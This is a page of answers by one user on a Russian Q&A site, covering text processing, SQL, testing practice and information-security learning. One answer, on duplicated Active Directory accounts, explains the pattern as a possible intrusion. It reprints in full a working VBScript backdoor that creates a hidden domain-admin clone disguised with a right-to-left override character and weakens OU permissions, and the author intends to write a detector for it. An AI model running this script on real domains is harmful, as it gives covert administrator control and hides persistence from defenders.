• Как визуализировать данные из файла формата .txt?

    @polarnik
    Тестировщик
    unix-way:
    cut -d -f2, -f(3-) datafile.txt > newData.txt
    означает:
    - в качестве разделителя строк файла на поля (-d) используется пробел (после -d пишется пробел).
    - надо выводить второе поле (-f2), потом запятую и пробел, потом все, что было в строке после второго поля, то есть третье поле и так далее (-f(3-)).
    - строки брать из файла datafile.txt
    - результат сохранять в файл newDatafile.txt

    для windows:
    del newData.txt & for /F "tokens=2*" %i in (datafile.txt) do @echo %i, %j >> newData.txt

    - "del newData.txt" == для начала очистить (удалить) файл с будущим результатом
    - "for /F ... in (datafile.txt)" == для всех строк файла datafile.txt
    - используя разделители по умолчанию (пробелы и табуляцию)
    - "tokens=2*" == взять вторую часть (время после первого пробела) и то, что находится после второй части (оставшийся кусок строки)
    - вторую часть поместить в переменную %i, остаток, соответственно, в %j.
    - "@echo %i, %j >> newData.txt" == вывести значения %i, %j, разделённые запятой, в файл newData.txt

    Не проверял, должно работать.

    Использую консольные утилиты, когда разбираю логи после нагрузочного тестирования (гигабайтные). Для скромного файла в 100 000 записей, можно использовать и текстовый редактор. Так выше посоветовали Sublime — хороший совет.
    Ответ написан
    Комментировать
  • Как получить данные запросом SQL c нескольких слинкованных серверов?

    @polarnik
    Тестировщик
    INSERT INTO "MainTable"
    ("ServerName", "CashName", "DeviceModel", "Model", "RegistryNumber", "DataChange")
    SELECT
        -- Имя сервера-источника, чтобы не путаться
        'LinkedServer1' as "ServerName" 
        ,[Cashes].[CashName]
        ,[CashDevices].[DeviceModel]
        ,[Cashes].Model 
        ,[Cashes].[RegistryNumber] 
        ,[Cashes].[DataChange] 
    FROM
        -- Указание источника <server>.<database>.<schema>.<table>
        [LinkedServer1].[SES].[dbo].[CashDevices] 
        inner join
            [LinkedServer1].[SES].[dbo].[Cashes] Cashes ON [Cashes].ID=[CashDevices].[ID_Cash]
    WHERE [DeviceType]='Фиск.память'

    Как-то так можно. Чтобы сделать x40, написать процедуру, параметром которой будет имя LinkedServer.

    Согласно описанию
    technet.microsoft.com/ru-ru/library/ms175129%28v=s...
    UNION не поддерживается.
    Но если всё-же поддерживается, можно сделать на каждом сервере View, возвращающее результат запроса. А на главном сервере написать один большой запрос (если памяти хватит, запрос выполнится). Это плохой стиль:
    INSERT INTO "MainTable"
    ("ServerName", "CashName", "DeviceModel", "Model", "RegistryNumber", "DataChange")
    SELECT "CashView".* FROM [LinkedServer1].[SES].[dbo].[CashView] "CashView"
    UNION
    SELECT "CashView".* FROM [LinkedServer2].[SES].[dbo].[CashView] "CashView"
    UNION
    SELECT "CashView".* FROM [LinkedServer3].[SES].[dbo].[CashView] "CashView"
    UNION
    SELECT "CashView".* FROM [LinkedServer4].[SES].[dbo].[CashView] "CashView"
    ...
    UNION
    SELECT "CashView".* FROM [LinkedServer40].[SES].[dbo].[CashView] "CashView"


    - Определение источника данных по имени связанного сервера
    technet.microsoft.com/ru-ru/library/ms190406%28v=s...
    - Вставка строк с использованием вложенных запросов INSERT и SELECT
    technet.microsoft.com/ru-ru/library/ms189872%28v=s...
    - Получение имён всех связанных серверов
    support2.microsoft.com/kb/203638/en-us

    Согласно принципу минимальных привилегий, sa использовать излишне. На связанных серверах создайте учётные записи, которые будут иметь доступ на выборку из таблиц [SES].[dbo].[CashDevices] и [SES].[dbo].[Cashes]. С помощью этих учётных записей подключите все 40 связанных серверов к основному серверу. Дальше - дело техники.
    Ответ написан
    Комментировать
  • Может ли ssl влиять на ранжирование в яндексе?

    @polarnik
    Тестировщик
    Может, например, индексирование картинок пропадает.
    См. "Индексирование картинок" help.yandex.ru/images/indexing.xml
    Ответ написан
    3 комментария
  • Что должен уметь junior специалист по информационной безопасности и как им стать?

    @polarnik
    Тестировщик
    Инфобез большой. Это и бумажная безопасность. И техническая. И разработка защищённых приложений. И тестирование. И пентест. И аналитика.

    Расскажу историю. Хотел стать специалистом по инфобезу. Опыта не было. Предложили стать инженером по тестированию. Согласился. И стал специалистом по тестированию защищенности, также обучаю разработчиков разработке защищённых приложений, работаю с администраторами, техподдержкой.

    Плюсы. Нужную должность и требования к ней сформировал по ходу работы. Разработка и тестирование в контексте защищённого кода - это веселее, чем заниматься контролем за действиями пользователей, сертификацией и боданиями с контролирующими органами (субъективное мнение).

    Минусы. При начальном позиционировании как инженер по тестированию или веб-разботчик средней руки относительно меньший уровень авторитета и заработка, чем если номинально заниматься информационной безопасностью. Авансом не выдадут. И очевидный минус - есть ряд обязанностей, не связанных с тем, чем хотелось бы заняться.

    Возможно, ваш уровень в ИБ уже выше моего, мой уровень недо-junior. Некоторые из тех, кто считает себя экспертами, таковыми не являются. Это эксперты в узких областях, но не эксперты в ИБ. А вы лишь хотите стать junior-ом, очевидно, понимая размер ИБ. Для начала выберите более узкое направление в ИБ.
    Ответ написан
    Комментировать
  • Как хорошо учиться, если тяжело понимать предмет?

    @polarnik
    Тестировщик
    Когда-то научили замечательному способу. Суть - загрузить в голову информацию.
    Например, медицина или химия - много терминов, сложные формулы, выводы основаны на предположениях авторов.

    Надо прочитать книгу по предмету, как художественную литературу.

    Цель дочитать до конца. Просто читайте книгу по химии. Так вы, может, и не поймёте сразу, что такое валентность, но поймёте, что у водорода и кислорода разные степени валентности. И что у хлора тоже есть некая степень валентности. Это ещё не знания, но уже что-то. Дополнительный плюс в том, что когда вы услышите знакомое слово, то будете знать где про него написано, в какой главе какой книги.

    Умение ориентироваться в информации и добывать знания из множества источников пригодится вам в дальнейшем.

    Как говорили мудрецы: "Первый шаг - половина пути".

    Потом надо общаться и читать более предметные тексты. И радоваться тому, что вы понимаете смысл. Термины соединяются в модели, тексты начинают соответствовать или несоответствовать моделям.
    Ответ написан
    2 комментария
  • Что выбрать для эмуляции псевдо-случайных пользовательских действий?

    @polarnik
    Тестировщик
    Selenium. Можно обращаться к элементу без id. Можно вообще все div на странице получать, выбирать из списка случайный. Кликать по нему. Выбирать можно, для простоты, по наименованию тега.
    Ссылки на документацию есть на странице https://code.google.com/p/selenium/
    Допустим, вы используете C# в качестве языка программирования, тогда описание выбора элементов по имени тега:
    selenium.googlecode.com/git/docs/api/dotnet/html/M...
    А именно: FindElementsByClassName
    Обычно помогает более гибкий метод: FindElementsByCssSelector
    Ответ написан
    Комментировать
  • Какие лабораторные работы дать студентам по информационной безопасности?

    @polarnik
    Тестировщик
    Они же экономисты, не надо им криптографию. Если бы предмет назывался Криптография и защита информации - то тогда ладно, шифр Цезаря. Они слушать будут, но не поймут.

    Экономисты любят деловые игры, управленческие поединки. Поэтому совет на тему социальной инженерии весьма кстати. Если подготовить несколько заготовок, то получится хороший урок.

    Когда давали занятия не в компьютерном классе, то делал к каждому занятию mind-карту (в FreeMind). Там можно нарисовать:
    - виды электронной подписи (во версии нашего законодательства - простая, усиленная, квалифицированная, неквалифицированная)
    - виды шифров
    - виды защищаемых активов
    - методы защиты (физическая, орг. меры, технические меры, ...)
    если распечатать 4-5 экземпляров карт, и дать студентам, то можно особо не рисовать на доске.
    Рассказывать, опираясь на схемы. На упражнениях (не на лекциях) по защите, которые надо проводить в кабинете без какого-либо оборудования, приносил свой ноут.
    Можно было настроить шифрование, защищённый обмен, рассказать про сети.
    Ещё можно просто выбрать двух студентов и эту пару работать с ними. Следующую пару двух других выбрать. Спрашивать всех по чуть-чуть неэффективно, хоть один да даёт слабину, не слушает, не отвечает, а после такого уже всем остальным можно не слушать и не отвечать. А если выбирать конкретных везунчиков - то задача такого упражнения, научить их, остальные просто голдят, советуют им что-то.

    Пример бумажного задания для экономистов. Распечатать таблицы студентам:
    1. Активы (название, описание, условная стоимость).
    2. Защитные меры (название, описание, начальная стоимость, стоимость в год).
    Угрозы (по разным методологиям и классификациям, выделяют разное).
    Задача - сообразить какая опасность каким активам грозит, и какие защитные меры надо применить. Расставить приоритеты для защитных мер. Провести оценку в рублях.
    Мера 1 - 10000 р.
    + мера 2 - 40000 р.
    + мера 3 - ....
    Вполне экономическая задача. Но подготовки требует. Это по части упражнений.

    А по лабам можно такое задание на подписи:
    1. Студент присылает email.
    2. В ответ высылается файл. Студент подписывает файл. И отсылает назад.
    3. Проверка того, что подписал как надо.

    4. Студенту посылается 10 подписанных файлов (из них у одного подпись неверная, один имеет устаревший сертификат, а на подписи нет штампа времени, один сертификат отозван, один сертификат выдан не на имя преподавателя, остальные подписи - хорошие)
    5. Студент проверяет подписи и сообщает всё ли в порядке с подписями.
    6. Проверка того, что умеет проверять подпись, срок действия сертификатов, подписанта, ...

    Задание плёвое. Но тут надо методичку готовить. И поэтому даже простое задание но для 10-20-ти студентов превращается в подготовку сложной работы.
    Ответ написан
    Комментировать
  • Как записать значения 1000 textbox в sql?

    @polarnik
    Тестировщик
    Используйте другую структуру данных.
    Два столбца. Первый - имя (textBox.Name nvarchar(max)). Второй - содержимое (textBox.Text ntext).
    И вставляйте тексты построчно.
    В реализациях SQL серверов есть ограничения на количество столбцов в таблице. Даже если поля @tb020a и другие имеют тип image, text, ntext (физически хранятся не в таблице), исчерпать лимит можно (30 000 в SQL Server, согласно technet.microsoft.com/en-us/library/ms143432.aspx ).
    Если тип nvarchar(max), то исчерпать получится быстрее, см. msdn.microsoft.com/en-us/library/ms186981%28SQL.10... .
    forearch(Control control in Controls)
    {
        TextBox textBox = (TextBox)control;
        if(textBox != null)
        {
            ...
            cmd.Parameters.AddWithValue("@name", textBox.Name);
            cmd.Parameters.AddWithValue("@content", textBox.Text);
            ...
        }
    }
    Ответ написан
    3 комментария
  • Всегда ли модульные тесты должны быть независимыми друг от друга?

    @polarnik
    Тестировщик
    Раз в тегах есть bdd, то вы уже знаете, что такое Given, а что такое When.

    Так вот, два теста зависимы, если начало второго теста не возможно, без предварительного выполнения первого теста (корректного выполнения). Так по началу многие разрабатывают. Тест1 создаёт объект с наименованием objectName123, а Тест2 ищет объект objectName123 в Given и выполняет некие действия с ним в When, плюс десяток проверок успешности выполнения действий в Then.

    И так делать не надо по очевидным причинам.

    Независимый тест устроен так.
    Тест1 создаёт объект objectNameTest1_123 работает с ним, делает десяток проверок в Then.
    Тест2 в Given вызывает те же методы, что создают объект в тесте Тест1, создаёт объект objectNameTest2_123, но выполняет одну базовую проверку, или не выполняет никаких проверок на корректность создания вообще (вызывается только часть Given и When из Тест1).

    Тест2 предполагает, что Тест1 работает. И если Тест1 упадёт, то не выполняется предусловие начала тестирования для Тест1 (вызываются, ведь, одни и те же методы в одном случае, как основная логика теста, во втором как предусловия). И в отчёте будет видно, какие тесты были были провалены, а какие даже не начались (из-за того, что другие тесты были провалены).

    Независимость в том, что Тест2 сам создаёт для себя нужный контекст. Не надеясь, что этот контекст подготовлен во время выполнения предыдущих тестов (Тест1).
    Ответ написан
  • Какими технологиями должен владеть QA engineer в столице?

    @polarnik
    Тестировщик
    За 4 месяца сложно выучить новую технологию так, чтобы эти знания достойно оплачивались. Особенно, если технология изучается не для работы, а для дополнительного развития. Наверняка, уже есть сильная область знаний. Тот же Silktest. Или WebDriver. У этих продуктов столько особенностей, что на годы изучения хватит.

    Оговорка - работаю не в Москве, но в столице.

    Много знаний по Selenium WebDriver получил решая задачу - как в Continius Integration встроить тесты веб-клиента, использующие WebDriver. Научился поднимать программно тестовые стенды с агентами, работать с Selenium Grid, делать снимки экрана на удалённой машине во время ошибки, собирать ошибки JavaScript во время работы теста (для каждого браузера свой способ).
    Кажется, простая задача. Но если её не решить, ценность тестов нулевая, сколь бы красивым не был их код. А чтобы решить нужно много знаний и навыков. Есть целых пол года.

    Хотя, 4 месяца - достаточно для изучения новых технологий. Занимался долгое время автоматизацией. И за пол года перквалифицировался в специалиста по нагрузочному тестированию. Неделю меня учили (разработчики и более опытные в нагрузке коллеги инженеры по тестированию). Месяца полтора читал, писал, отлаживал. Переписал проект трижды (изначальный срок был на две недели - одна итерация, срок провалил). И дела пошли в гору.

    Высокие нагрузки - очень интересная область. Если у вас есть пол года на чтение книг по реляционной алгебре, изучению того как формируются планы выполнения SQL-запросов, написанию собственного быстрого кода, умению писать мало кода (использовать фреймворки и эффективную декомпозицию). А также отладке, кодингу, анализу. То станете специалистом.
    JMeter, Graphite, Fiddler (или другой прокси) статут вашими помощниками.
    Ответ написан
    Комментировать
  • Почему двоятся учетные записи Active directory?

    @polarnik
    Тестировщик
    Если негативные варианты рассматриваются, то это взлом.
    Вторая учётка имеет имя g_nimdAceTmoC, + первый символ указывает обратное направление текста.
    Такой ход используется, чтобы визуально скрыть наличие в списке контроля доступа нового пользователя.
    Подробнее смотрите в вебинаре
    Тестирование на проникновение в сетях Microsoft (Дмитрий Евтеев, руководитель отдела анализа защищенности, Positive Technologies, 15.03.2012 14:00)
    http://www.ptsecurity.ru/ics/Тестир_на_проникн_в_с... (со слайда 23)
    или
    my.comdi.com/record/46030

    update: 17 января 2015 года.
    Читал Exploit-db и нашел статью Дмитрия Евтеева. Где есть скрипт для создания учётной записи, которая выглядит как двойная.
    www.exploit-db.com/wp-content/themes/exploit/docs/...
    Статья на русском языке:
    devteev.blogspot.ru/2012/01/backdoor-active-direct...

    On Error Resume Next
    strAdminsamAccountName = "dmitry.ivanov"
    strAdminsGroup = "Domain Admins"
    strPassNewUser = "P@ssw0rd"
    
    '---
    
    Dim arrContainer(), i
    
    Set objRootDSE = GetObject("LDAP://RootDSE")
    strDomain = objRootDSE.Get("DefaultNamingContext")
    Set objDomain = GetObject("LDAP://" & strDomain)
    
    strAdminsamAccountNameDN = SearchDN("' WHERE objectCategory='user' AND samAccountName = '" & strAdminsamAccountName & "'")
    
    If Not IsNull(strAdminsamAccountNameDN) Then
            Set objAdmin = GetObject("LDAP://" & strAdminsamAccountNameDN)
            Set objOU = GetObject(objAdmin.parent)
    
            i=0
            Call EnumOUs(objOU)
            For j = i-1 To 0 Step-1
                    if strContainer="" Then
                            strContainer = "OU=" & arrContainer(j) & strContainer
                            primaryContainer = strContainer
                    Else
                            strContainer = "OU=" & arrContainer(j) & "," & strContainer
                    End if
                    
                    Set objOUcreate = objDomain.Create("organizationalUnit", strContainer)
                    objOUcreate.SetInfo
            Next
            
            Set objContainer = GetObject("LDAP://" & strContainer & "," & strDomain)
            Set objUserCreate = objContainer.Create("User", "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName))
            objUserCreate.Put "sAMAccountName", ChrW(8238) & StrReverse(strAdminsamAccountName)
            objUserCreate.SetInfo
            
            On Error Resume Next
            
            objUserCreate.SetPassword strPassNewUser
            objUserCreate.Put "userAccountControl", 66048
            objUserCreate.Put "givenName", ChrW(8238) & StrReverse(objAdmin.givenName)
            objUserCreate.Put "sn", ChrW(8238) & StrReverse(objAdmin.sn)
            objUserCreate.Put "initials", ChrW(8238) & StrReverse(objAdmin.initials)
            objUserCreate.SetInfo
            
            On Error Resume Next
            
            objUserCreate.Put "showInAdvancedViewOnly", "TRUE"
            objUserCreate.SetInfo
            
            On Error Resume Next
            
            NewUserDN = "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName) & "," & objContainer.distinguishedName
            strAdminsGroupDN = SearchDN("' WHERE objectCategory='group' AND samAccountName = '" & strAdminsGroup & "'")
            
            If Not IsNull(strAdminsGroupDN) Then
                    Set objGroup = GetObject("LDAP://" & strAdminsGroupDN)
                    objGroup.PutEx 4, "member", Array(strAdminsamAccountNameDN)
                    objGroup.SetInfo
                    objGroup.PutEx 3, "member", Array(NewUserDN)
                    objGroup.SetInfo
            End If
            
            OUAddAce(primaryContainer & "," & strDomain)
    End If
    
    
    Function SearchDN(str)
            Set objConnection = CreateObject("ADODB.Connection")
            
            objConnection.Provider = "ADsDSOObject"
            objConnection.Open "Active Directory Provider"
            
            Set objCommand = CreateObject("ADODB.Command")
            Set objCommand.ActiveConnection = objConnection
            objCommand.Properties("Searchscope") = 2
            
            objCommand.CommandText = "SELECT distinguishedName FROM 'LDAP://" & strDomain & str
            Set objRecordSet = objCommand.Execute
            
            If Not objRecordSet.EOF Then
                    SearchDN = objRecordSet.Fields("distinguishedName").Value
            End if
    End Function
    
    
    Sub EnumOUs(objChild)
            Dim objParent
            Set objParent = GetObject(objChild.Parent)
            
            If (objParent.Class = "organizationalUnit") Then
                    ReDim Preserve arrContainer(i + 1)
                    arrContainer(i) = objChild.ou
                    i=i+1
                    Call EnumOUs(objParent)
            Else
                    ReDim Preserve arrContainer(i + 1)
                    arrContainer(i) = objChild.ou & ChrW(128)
                    i=i+1
            End If
    End Sub
    
    
    Function OUAddAce(OU)
            Dim objSdUtil, objSD, objDACL, objAce
            Set objOU = GetObject ("LDAP://" & OU)
    
            Set objSdUtil = GetObject(objOU.ADsPath)
            Set objSD = objSdUtil.Get("ntSecurityDescriptor")
            Set objDACL = objSD.DiscretionaryACL
            Set objAce = CreateObject("AccessControlEntry")
    
            objAce.Trustee = "Everyone"
            objAce.AceFlags = 2
            objAce.AceType = 6
            objAce.AccessMask = 16
            objAce.Flags = 1
            objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"
            objDacl.AddAce objAce
    
            objSD.DiscretionaryAcl = objDacl
            objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
            objSDUtil.SetInfo
            
            Set objNtSecurityDescriptor = objOU.Get("ntSecurityDescriptor")
            intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
            intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
            objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
            objOU.Put "ntSecurityDescriptor", objNtSecurityDescriptor
            objOU.SetInfo
    End Function


    Завтра посижу подумаю, на свежую голову. Как написать обратный скрипт. Выявляющий учётные записи с символом ChrW(8238) в наименовании. Думаю, просто такой скрипт сделать. Но для проверки работы такого чекера понадобится тестовый домен, в котором будут созданы "двойные" записи.
    Ответ написан
    1 комментарий
  • Книги и ресурсы по информационной безопасности

    @polarnik
    Тестировщик
    Защищённый код (Дэвид Лебланк). Есть несколько редакций книги. Книга от Microsoft, читается легче, чем труды Шнайера (да и книгу Шнайера купить сложнее). Хотя обе книги устарели по меркам ИБ, минимум половина их содержания будет актуальна ещё несколько десятков лет.

    Известная книга от Криса Касперски "Техника и философия хакерских атак". Описание книг можно посмотреть тут: kpnc.opennet.ru/allkpnc.updated.zip
    Примеры книг там же. Например, "Техника сетевых атак": kpnc.opennet.ru/tpna.full.zip

    Также советую сайт https://www.owasp.org.
    И площадки для взлома, есть несколько хороших прощадок, где можно потренироваться. Наиболее документированная площадка - OWASP WebGoat: https://www.owasp.org/index.php/WebGoat. Подсказки к прохождению есть на самом сайте-площадке. А также есть видео-версия прохождения.

    Для выстраивания знаний в структуру посмотрите cwe.mitre.org. Рассмотрите TOP 25 (эти узлы наиболее полно расписаны). Далее обратите внимание на остальные сотни возможных недостатков в ПО и вариантов защиты от них.

    Если понравится смотреть видео для OWASP WebGoat, то зайдите на securitytube.net.

    Крайне полезный проект: www.pentest-standard.org/. Какое то время занимался переводом на русский материалов этого проекта. Многому научился при этом. Основа - mind-карта. И добротное описание к узлам. Позволяет выстроить в голове план пен-теста, защиты. Тут многое предусмотрено, ни в одной книге такого не читал. Но подробной пошаговой инструкции тоже нет, надо будет домысливать.
    Ответ написан
    1 комментарий
  • Как создать памятку по методике работы с информацией с целью улучшения информационной безопасности?

    @polarnik
    Тестировщик
    Простая памятка имеет большие шансы на выполнение (ведь суровые законы компенсируются необязательностью их выполнения).

    Блокировать компьютер.
    Пользоваться ПО из указанного списка (пользоваться другим ПО нежелательно), сделать узел с разрешенным ПО и сетевой каталог.
    Для мобильных устройств использовать подключение к сетям 1, 2, 3 (подключаться через другие точки доступа запрещено, при появлении других точек сообщить).
    ...
    Если возможно, сделать пользователей не админами - сделать их не админами. Указать куда надо складывать данные, для которых будет осуществляться автоматическое резервное копирование. Указать как и кто может восстановить эти данные.
    ...
    Рассказать что делать, если прокси говорит пользователю, что узел не найден или заблокирован. И закрыть лишнее. Сделать узел с ответами на частые вопросы - как что настроить, что делать если что-о заблокировано (такие детали не надо писать в памятке).
    ...
    Разделить информацию по грифам/категориям. Данные клиентов, учётные документы - одна категория (доступ только у трёх человек, всё зашифровано). Данные для внутреннего использования. Данные, которые можно сообщать.

    В работе есть такие памятки. Разнесены по нескольким документам. Но их можно объединить в один небольшой.
    Ответ написан
    Комментировать